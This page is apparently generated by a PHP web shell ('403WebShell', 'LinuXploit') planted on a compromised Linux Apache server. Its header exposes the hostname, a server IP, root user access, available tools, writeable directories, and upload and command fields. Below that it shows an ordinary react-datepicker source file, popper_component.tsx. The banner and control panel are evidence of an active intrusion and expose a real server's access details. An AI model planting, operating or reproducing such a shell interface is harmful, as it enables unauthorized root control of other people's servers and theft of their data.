Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/node_modules/react-datepicker/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/node_modules/react-datepicker/src/popper_component.tsx
import { FloatingArrow } from "@floating-ui/react";
import { clsx } from "clsx";
import React, { createElement } from "react";

import Portal from "./portal";
import TabLoop from "./tab_loop";
import withFloating from "./with_floating";

import type { FloatingProps } from "./with_floating";
import type { ReactNode } from "react";

interface PortalProps
  extends Omit<React.ComponentPropsWithoutRef<typeof Portal>, "children"> {}
interface TabLoopProps
  extends Omit<React.ComponentPropsWithoutRef<typeof TabLoop>, "children"> {}

interface PopperComponentProps
  extends Omit<PortalProps, "portalId">,
    TabLoopProps,
    FloatingProps {
  className?: string;
  wrapperClassName?: string;
  popperComponent: React.ReactNode;
  popperContainer?: React.FC<{ children?: ReactNode | undefined }>;
  targetComponent: React.ReactNode;
  popperOnKeyDown: React.KeyboardEventHandler<HTMLDivElement>;
  showArrow?: boolean;
  portalId?: PortalProps["portalId"];
}

// Exported for testing purposes
export const PopperComponent: React.FC<PopperComponentProps> = (props) => {
  const {
    className,
    wrapperClassName,
    hidePopper = true,
    popperComponent,
    targetComponent,
    enableTabLoop,
    popperOnKeyDown,
    portalId,
    portalHost,
    popperProps,
    showArrow,
  } = props;

  let popper: React.ReactElement | undefined = undefined;

  if (!hidePopper) {
    const classes = clsx("react-datepicker-popper", className);
    popper = (
      <TabLoop enableTabLoop={enableTabLoop}>
        {/* eslint-disable react-hooks/refs -- Floating UI values are designed to be used during render */}
        <div
          ref={popperProps.refs.setFloating}
          style={popperProps.floatingStyles}
          className={classes}
          data-placement={popperProps.placement}
          onKeyDown={popperOnKeyDown}
        >
          {popperComponent}
          {showArrow && (
            <FloatingArrow
              ref={popperProps.arrowRef}
              context={popperProps.context}
              fill="currentColor"
              strokeWidth={1}
              height={8}
              width={16}
              style={{ transform: "translateY(-1px)" }}
              className="react-datepicker__triangle"
            />
          )}
        </div>
        {/* eslint-enable react-hooks/refs */}
      </TabLoop>
    );
  }

  if (props.popperContainer) {
    popper = createElement(props.popperContainer, {}, popper);
  }

  if (portalId && !hidePopper) {
    popper = (
      <Portal portalId={portalId} portalHost={portalHost}>
        {popper}
      </Portal>
    );
  }

  const wrapperClasses = clsx("react-datepicker-wrapper", wrapperClassName);

  return (
    <>
      {/* eslint-disable-next-line react-hooks/refs -- Floating UI refs are designed to be used during render */}
      <div ref={popperProps.refs.setReference} className={wrapperClasses}>
        {targetComponent}
      </div>
      {popper}
    </>
  );
};

export default withFloating<PopperComponentProps>(PopperComponent);

Youez - 2016 - github.com/yon3zu
LinuXploit